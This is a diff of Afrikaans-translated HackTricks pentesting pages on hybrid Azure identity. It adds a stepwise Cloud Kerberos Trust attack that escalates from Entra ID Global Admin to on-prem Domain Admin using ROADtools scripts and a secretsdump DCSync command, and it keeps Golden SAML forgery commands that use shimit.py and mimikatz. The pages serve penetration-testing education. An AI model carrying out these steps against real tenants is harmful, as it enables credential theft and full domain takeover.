-Wanneer 'n vertroue met Azure AD gevestig word, 'n **Read Only Domain Controller (RODC) word in die AD geskep.** Die **RODC rekenaarrekening**, genaamd **`AzureADKerberos$`**. Ook, 'n sekondêre `krbtgt` rekening genaamd **`krbtgt_AzureAD`**. Hierdie rekening bevat die **Kerberos sleutels** wat gebruik word vir kaartjies wat Azure AD skep.
+## Pivoting van Entra ID na On-Prem AD
 
-Daarom, as hierdie rekening gecompromitteer word, kan dit moontlik wees om enige gebruiker na te boots... alhoewel dit nie waar is nie omdat hierdie rekening verhinder word om kaartjies vir enige algemene bevoorregte AD-groep soos Domain Admins, Enterprise Admins, Administrators... te skep.
+**Scenario:** Die teikenorganisasie het **Cloud Kerberos Trust** geaktiveer vir wagwoordlose verifikasie. 'n Aanvaller het **Global Administrator** voorregte in Entra ID (Azure AD) verkry, maar het **nog nie** die on-prem AD onder beheer nie. Die aanvaller het ook 'n voet aan die grond met netwerktoegang tot 'n Domeinbeheerder (via VPN of 'n Azure VM in 'n hibriede netwerk). Deur die wolkvertroue te gebruik, kan die aanvaller Azure AD beheer benut om 'n **Domein Admin**-vlak voet aan die grond in AD te verkry.
 
-> [!CAUTION]
-> egter, in 'n werklike scenario gaan daar bevoorregte gebruikers wees wat nie in daardie groepe is nie. So die **nuwe krbtgt rekening, indien gecompromitteer, kan gebruik word om hulle na te boots.**
+**Vereistes:**
 
-### Kerberos TGT
+-   **Cloud Kerberos Trust** is geconfigureer in die hibriede omgewing (aanwyser: 'n `AzureADKerberos$` RODC rekening bestaan in AD).
 
-Boonop, wanneer 'n gebruiker op Windows outentiseer met 'n hibriede identiteit, **Azure AD** sal 'n **gedeeltelike Kerberos kaartjie saam met die PRT uitreik.** Die TGT is gedeeltelik omdat **AzureAD beperkte inligting** van die gebruiker in die on-prem AD het (soos die sekuriteitsidentifiseerder (SID) en die naam).\
-Windows kan dan **hierdie gedeeltelike TGT vir 'n volle TGT ruil** deur 'n dienskaartjie vir die `krbtgt` diens aan te vra.
+-   Die aanvaller het **Global Admin (of Hybrid Identity Admin)** regte in die Entra ID tenant (hierdie rolle kan die AD Connect **synchronisasie API** gebruik om Azure AD gebruikers te wysig).
 
-### NTLM
+-   Ten minste een **hibriede gebruikersrekening** (bestaande in beide AD en AAD) wat die aanvaller as kan verifieer. Dit kan verkry word deur die akte te ken of te reset of 'n wagwoordlose metode toe te ken (bv. 'n Tydelike Toegangspas) om 'n Primêre Vernuwings Token (PRT) vir dit te genereer.
 
-Aangesien daar dienste kan wees wat nie Kerberos outentisering ondersteun nie, maar NTLM, is dit moontlik om 'n **gedeeltelike TGT wat met 'n sekondêre `krbtgt`** sleutel onderteken is aan te vra deur die **`KERB-KEY-LIST-REQ`** veld in die **PADATA** deel van die versoek in te sluit en dan 'n volle TGT te verkry wat met die primêre `krbtgt` sleutel onderteken is **wat die NT-hash in die antwoord insluit**.
+-   'n **on-prem AD teikenrekening** met hoë voorregte wat *nie* in die standaard RODC "weier" beleid is nie. In praktyk is 'n goeie teiken die **AD Connect sink rekening** (dikwels genoem **MSOL_***), wat DCSync (replicasie) regte in AD het, maar gewoonlik nie 'n lid van ingeboude administratorgroepe is nie. Hierdie rekening word tipies nie gesinkroniseer na Entra ID nie, wat sy SID beskikbaar maak om te verpersoonlik sonder konflik.
 
-## Misbruik van Cloud Kerberos Trust om Domain Admin te verkry <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
+**Aanvalstappe:**
 
-Wanneer AzureAD 'n **gedeeltelike TGT** genereer, sal dit die besonderhede wat dit oor die gebruiker het, gebruik. Daarom, as 'n Global Admin data soos die **sekuriteitsidentifiseerder en naam van die gebruiker in AzureAD** kan wysig, wanneer 'n TGT vir daardie gebruiker aangevra word, sal die **sekuriteitsidentifiseerder 'n ander een wees**.
+1.  **Verkry Azure AD sink API Toegang:** Gebruik die Global Admin rekening, verkry 'n toegangstoken vir die Azure AD **Provisioning (sink) API**. Dit kan gedoen word met gereedskap soos **ROADtools** of **AADInternals**. Byvoorbeeld, met ROADtools (roadtx):
+```bash
+# Using roadtx to get an Azure AD Graph token (no MFA)
+roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
+```
+*(Alternatiewelik kan AADInternals se `Connect-AADInt` gebruik word om as Global Admin te autentiseer.)*
 
-Dit is nie moontlik om dit deur die Microsoft Graph of die Azure AD Graph te doen nie, maar dit is moontlik om die **API Active Directory Connect** te gebruik wat gebruik word om gesinkroniseerde gebruikers te skep en op te dateer, wat deur die Global Admins gebruik kan word om die **SAM naam en SID van enige hibriede gebruiker** te wysig, en dan as ons outentiseer, kry ons 'n gedeeltelike TGT wat die gewysigde SID bevat.
+2.  **Wysig 'n Hibrid Gebruiker se On-Prem Kenmerke:** Maak gebruik van die Azure AD **synchronisasie API** om 'n gekose hibrid gebruiker se **onPremises Security Identifier (SID)** en **onPremises SAMAccountName** in te stel om met die teiken AD rekening te ooreen te stem. Dit vertel effektief aan Azure AD dat die wolk gebruiker ooreenstem met die on-prem rekening wat ons wil naboots. Gebruik die open-source **ROADtools Hybrid** toolkit:
+```bash
+# Example: modify a hybrid user to impersonate the MSOL account
+python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
+--sourceanchor <ImmutableID_of_User>\
+--sid <TargetAD_SID> --sam <TargetAD_SAMName>
+```
+> Die `sourceAnchor` (onveranderlike ID) van die gebruiker is nodig om die Azure AD objek te identifiseer wat gewysig moet word. Die hulpmiddel stel die hybride gebruiker se on-prem SID en SAM rekeningnaam in op die waardes van die teiken (bv. die MSOL_xxxx rekening se SID en SAM). Azure AD verbied normaalweg die verandering van hierdie eienskappe via Graph (hulle is slegs leesbaar), maar die sink diens API laat dit toe en Global Admins kan hierdie sink funksionaliteit aanroep.
 
-Let daarop dat ons dit met AADInternals kan doen en gesinkroniseerde gebruikers kan opdateer via die [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
+3.  **Verkry 'n Deeltjie TGT van Azure AD:** Na die wysiging, autentiseer as die hybride gebruiker by Azure AD (byvoorbeeld, deur 'n PRT op 'n toestel te verkry of hul akrediteer te gebruik). Wanneer die gebruiker aanmeld (veral op 'n domein-verbonden of Entra-verbonden Windows toestel), sal Azure AD 'n **deeltjie Kerberos TGT (TGT**<sub>**AD**</sub>) vir daardie rekening uitreik omdat Cloud Kerberos Trust geaktiveer is. Hierdie deeltjie TGT is versleuteld met die AzureADKerberos$ RODC sleutel en sluit die **teiken SID** in wat ons gestel het. Ons kan dit simuleer deur 'n PRT vir die gebruiker aan te vra via ROADtools:
+```bash
+roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
+```
+Dit lewer 'n `.prt` lêer op wat die gedeeltelike TGT en sessiesleutel bevat. As die rekening slegs 'n wolk-wagwoord was, sluit Azure AD steeds 'n TGT_AD in die PRT-antwoord in.
 
-### Aanval vereistes <a href="#attack-prerequisites" id="attack-prerequisites"></a>
+4.  **Ruil Gedeeltelike TGT vir Volledige TGT (op AD):** Die gedeeltelike TGT kan nou aan die plaaslike Domeinbeheerder voorgelê word om 'n **volledige TGT** vir die teikenrekening te verkry. Ons doen dit deur 'n TGS-versoek vir die `krbtgt` diens (die domein se primêre TGT-diens) te doen -- essensieel om die kaartjie op te gradeer na 'n normale TGT met 'n volledige PAC. Gereedskap is beskikbaar om hierdie ruil te outomatiseer. Byvoorbeeld, deur ROADtools Hybrid se skrif te gebruik:
+```bash
+# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
+python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
+```
+Hierdie skrip (of Impacket ekwivalente) sal die Domeinbeheerder kontak en 'n geldige TGT vir die teiken AD-rekening verkry, insluitend die NTLM-hash van die rekening as die spesiale Kerberos-uitbreiding gebruik word. Die **`KERB-KEY-LIST-REQ`** uitbreiding word outomaties ingesluit om die DC te vra om die teikenrekening se NTLM-hash in die versleutelde antwoord terug te stuur. Die resultaat is 'n geloofsbriefkas (`full_tgt.ccache`) vir die teikenrekening *of* die herwin NTLM-wagwoordhash.
 
-Die sukses van die aanval en die verkryging van Domain Admin voorregte hang af van die nakoming van sekere vereistes:
+5.  **Impersonate Target and Elevate to Domain Admin:** Nou beheer die aanvaller effektief die **teiken AD-rekening**. Byvoorbeeld, as die teiken die AD Connect **MSOL rekening** was, het dit replikasie regte op die gids. Die aanvaller kan 'n **DCSync** aanval uitvoer met daardie rekening se geloofsbriewe of Kerberos TGT om wagwoordhashes uit AD te dump (insluitend die domein KRBTGT rekening). Byvoorbeeld:
+```bash
+# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
+secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
+```
+Dit dump al AD gebruikerswagwoord hashes, wat die aanvaller die KRBTGT hash gee (wat hulle in staat stel om domein Kerberos kaartjies na willekeur te vervals) en effektief **Domein Admin** regte oor AD. As die teikenrekening 'n ander bevoorregte gebruiker was, kon die aanvaller die volle TGT gebruik om toegang tot enige domein hulpbron as daardie gebruiker te verkry.
 
-- Die vermoë om rekeninge deur die Synchronization API te verander is van kardinale belang. Dit kan bereik word deur die rol van Global Admin te hê of 'n AD Connect sink rekening te besit. Alternatiewelik, die Hybrid Identity Administrator rol sal voldoende wees, aangesien dit die vermoë bied om AD Connect te bestuur en nuwe sink rekeninge te vestig.
-- Teenwoordigheid van 'n **hibriede rekening** is noodsaaklik. Hierdie rekening moet ontvanklik wees vir wysiging met die slagoffer rekening se besonderhede en moet ook toeganklik wees vir outentisering.
-- Identifikasie van 'n **teiken slagoffer rekening** binne Active Directory is 'n noodsaaklikheid. Alhoewel die aanval op enige rekening wat reeds gesinkroniseer is, uitgevoer kan word, moet die Azure AD tenant nie on-premises sekuriteitsidentifiseerders gerepliceer het nie, wat die wysiging van 'n nie-gesinkroniseerde rekening vereis om die kaartjie te verkry.
-- Boonop moet hierdie rekening domein admin gelyke voorregte hê, maar mag nie 'n lid van tipiese AD administrateur groepe wees nie om die generering van ongeldige TGTs deur die AzureAD RODC te vermy.
-- Die mees geskikte teiken is die **Active Directory rekening wat deur die AD Connect Sync diens gebruik word**. Hierdie rekening is nie gesinkroniseer met Azure AD nie, wat sy SID as 'n lewensvatbare teiken laat, en dit hou inherent domein admin gelyke voorregte weens sy rol in die sinkronisering van wagwoord hashes (aangenome dat Password Hash Sync aktief is). Vir domeine met uitdruklike installasie, word hierdie rekening voorafgegaan met **MSOL\_**. Vir ander gevalle kan die rekening geïdentifiseer word deur alle rekeninge met Directory Replication voorregte op die domein objek te tel.
+6.  **Skoonmaak:** Opsioneel kan die aanvaller die gemodifiseerde Azure AD gebruiker se oorspronklike `onPremisesSAMAccountName` en SID via dieselfde API herstel of eenvoudig enige tydelike gebruiker wat geskep is, verwyder. In baie gevalle sal die volgende Azure AD Connect sink siklus outomaties ongeoorloofde veranderinge op gesinkroniseerde eienskappe terugdra. (Tog, teen hierdie punt is die skade gedoen -- die aanvaller het DA regte.)
+
+> [!WARNING]
+> Deur die wolkvertroue en sinkmeganisme te misbruik, kan 'n Global Admin van Azure AD byna *enige* AD rekening naboots wat nie eksplisiet deur die RODC-beleid beskerm word nie, selfs al is daardie rekening nooit wolk-gesinkroniseer nie. In 'n standaardkonfigurasie, **brug dit 'n volledige vertroue van Azure AD kompromie na on-prem AD kompromie**.
+
+
+## References
+
+- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
 
-### Die volle aanval <a href="#the-full-attack" id="the-full-attack"></a>
 
-Kyk dit in die oorspronklike pos: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md

@@ -1,9 +0,0 @@
-# Az - Standaard Toepassings
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-**Kontroleer die tegniek in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) en [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
-
-Die blogpos bespreek 'n voorregverhoging kwesbaarheid in Azure AD, wat Toepassing Administrateurs of gecompromitteerde On-Premise Sink Rekeninge in staat stel om voorregte te verhoog deur krediete aan toepassings toe te ken. Die kwesbaarheid, wat voortkom uit die "per ontwerp" gedrag van Azure AD se hantering van toepassings en diens prinsipale, beïnvloed veral standaard Office 365 toepassings. Alhoewel gerapporteer, word die probleem nie as 'n kwesbaarheid deur Microsoft beskou nie weens dokumentasie van die administratiewe regte toekenning gedrag. Die pos bied gedetailleerde tegniese insigte en adviseer gereelde hersienings van diens prinsipaal krediete in Azure AD omgewings. Vir meer gedetailleerde inligting, kan jy die oorspronklike blogpos besoek.
-
-{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md

@@ -1,18 +1,19 @@
-# Az - Federasie
+# Az - Federation
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basiese Inligting
+## Basic Information
 
-[Volgens die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **autentisering** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
 
-Jy kan jou **on-premises** omgewing **met Azure AD** federate en hierdie federasie gebruik vir autentisering en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **autentisering plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
+>**Federation** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
+>Jy kan jou **on-premises** omgewing **met Azure AD** federate en hierdie federasie gebruik vir verifikasie en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **verifikasie plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
 
 <figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
 
-Basies, in Federasie, vind alle **autentisering** plaas in die **on-prem** omgewing en die gebruiker ervaar SSO oor al die vertroude omgewings. Daarom kan gebruikers **toegang** tot **cloud** toepassings verkry deur hul **on-prem kredensiale** te gebruik.
+Basies, in Federasie, vind alle **verifikasie** plaas in die **on-prem** omgewing en die gebruiker ervaar SSO oor al die vertroude omgewings. Daarom kan gebruikers **toegang** tot **cloud** toepassings verkry deur hul **on-prem kredensiale** te gebruik.
 
-**Security Assertion Markup Language (SAML)** word gebruik vir **uitruiling** van alle autentisering en autorisering **inligting** tussen die verskaffers.
+**Security Assertion Markup Language (SAML)** word gebruik vir **uitruiling** van alle verifikasie en autorisering **inligting** tussen die verskaffers.
 
 In enige federasie-opstelling is daar drie partye:
 
@@ -20,16 +21,14 @@ In enige federasie-opstelling is daar drie partye:
 - Identiteitsverskaffer (IdP)
 - Diensverskaffer (SP)
 
-(Beelde van https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
+<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
 
-<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
+1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker toegang verkry. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
+2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker verifikasie. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
+3. Die IdP neem oor, wat die gebruiker verifieer. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
+4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol gevalideer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang verleen. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
 
-1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker geopen. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
-2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruikerautentisering. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
-3. Die IdP neem oor, wat die gebruiker autentiseer. Na autentisering word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
-4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang gegee. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
-
-**As jy meer wil leer oor SAML-autentisering en algemene aanvalle, gaan na:**
+**As jy meer wil leer oor SAML-verifikasie en algemene aanvalle, gaan na:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
@@ -38,40 +37,40 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
 ## Pivoting
 
 - AD FS is 'n eise-gebaseerde identiteitsmodel.
-- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat oral op die Internet geleë is, te autoriseer."
+- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die Internet geleë is, te autoriseer."
 - Eise vir 'n gebruiker word binne die SAML tokens geskryf en word dan onderteken om vertroulikheid deur die IdP te bied.
 - 'n Gebruiker word geïdentifiseer deur ImmutableID. Dit is wêreldwyd uniek en word in Azure AD gestoor.
 - Die ImmutableID word op-premises gestoor as ms-DS-ConsistencyGuid vir die gebruiker en/of kan afgelei word van die GUID van die gebruiker.
 - Meer inligting in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
 
-**Goue SAML-aanval:**
+**Golden SAML aanval:**
 
-- In ADFS word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
-- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, na die Azure AD te autentiseer!
-- Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die autentiseringrespons vervals.
-- Die sertifikaat kan van die AD FS-bediener met DA-privileges onttrek word en kan dan vanaf enige internetverbonden masjien gebruik word.
+- In ADFS, word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
+- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, te verifieer!
+- Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die verifikasieantwoord vervals.
+- Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan vanaf enige internetverbonden masjien gebruik word.
 - Meer inligting in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
-### Goue SAML
+### Golden SAML
 
-Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **respons** **onderteken** of **geënkripteer** word met die **IdP se privaat sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is.
+Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **antwoord** **onderteken** of **geënkripteer** word met die **IdP se privaat sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is.
 
-'n Parallel kan getrek word met die [goue kaart-aanval](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), waar die sleutel wat die gebruiker se identiteit en toestemmings autentiseer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **autentisering objek** (TGT of SAMLResponse) te vervals. Dit stel die vervalsing van enige gebruiker in staat, wat ongeoorloofde toegang tot die SP bied.
+'n Parallel kan getrek word met die [golden ticket aanval](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir golden tickets, token-ondertekenings privaat sleutel vir golden SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te boots, wat ongeoorloofde toegang tot die SP verleen.
 
-Goue SAMLs bied sekere voordele:
+Golden SAMLs bied sekere voordele:
 
-- Hulle kan **afgeleë geskep** word, sonder die behoefte om deel te wees van die domein of federasie in kwestie.
-- Hulle bly effektief selfs met **Twee-Faktor Autentisering (2FA)** geaktiveer.
-- Die token-ondertekenings **privaat sleutel hernu nie outomaties** nie.
-- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig** nie.
+- Hulle kan **afgele** word, sonder die behoefte om deel van die domein of federasie in kwestie te wees.
+- Hulle bly effektief selfs met **Twee-Faktor Verifikasie (2FA)** geaktiveer.
+- Die token-ondertekenings **privaat sleutel hernu nie outomaties nie**.
+- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie**.
 
-#### AWS + AD FS + Goue SAML
+#### AWS + AD FS + Golden SAML
 
-[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is 'n Microsoft-diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.
+[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is 'n Microsoft diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.
 
-Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige toestemmings in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart-aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry.
+Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n golden ticket aanval. Toegang tot die AD FS-gebruikersrekening is voldoende om hierdie privaat sleutel te verkry.
 
-Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
+Die vereistes om 'n golden SAML aanval uit te voer sluit in:
 
 - **Token-ondertekenings privaat sleutel**
 - **IdP publieke sertifikaat**
@@ -81,9 +80,9 @@ Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
 - Rol sessienaam in AWS
 - Amazon rekening ID
 
-_Slegs die items in vetdruk is verpligtend. Die ander kan na wens ingevul word._
+_Slegs die items in vet is verpligtend. Die ander kan na wens ingevul word._
 
-Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
+Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikersrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek word** met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
 ```bash
 # From an "AD FS" session
 # After having exported the key with mimikatz
@@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
 # Save SAMLResponse to file
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
 ```
-<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
 
 ### Op-prem -> wolk
 ```bash

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md

@@ -0,0 +1,29 @@
+# Hibrid Identiteit Verskeie Aanvalle
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+## Dwing Sinchronisasie van Entra ID gebruikers na on-prem
+
+Soos genoem in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), was dit moontlik om die waarde van **`ProxyAddress`** binne 'n AD gebruiker in die on-prem AD te verander deur die e-pos van 'n Entra ID admin gebruiker by te voeg en ook te verseker dat die UPN van die gebruiker in AD en in Entra ID ooreenstem (dit is weer die Entra ID), soos **`SMTP:admin@domain.onmicrosoft.com`**. En dit sou **die sinchronisasie van hierdie gebruiker** van Entra ID na die on-prem AD dwing, so as die wagwoord van die gebruiker bekend was, kon dit gebruik word om **toegang te verkry tot die admin wat in Entra ID gebruik word.**
+
+Om 'n nuwe gebruiker van Entra ID na die on-prem AD te sinchroniseer, is die vereistes die enigste vereistes:
+
+- Beheer die eienskappe van 'n gebruiker in die on-prem AD (of het toestemming om nuwe gebruikers te skep)
+- Ken die gebruiker wat slegs in die wolk is om te sinchroniseer van Entra ID na die on-prem AD
+- Jy mag ook in staat wees om die immutableID eienskap van die Entra ID gebruiker na die on-prem AD gebruiker te verander om 'n **harde ooreenstemming** te doen.
+
+
+> [!CAUTION]
+> Entra ID laat nie meer toe om admins van Entra ID na die on-prem AD te sinchroniseer nie.
+> Ook, dit **sal nie MFA omseil**.
+
+
+
+## Verwysings
+
+- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
+- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md

@@ -4,9 +4,9 @@
 
 ## Basiese Inligting
 
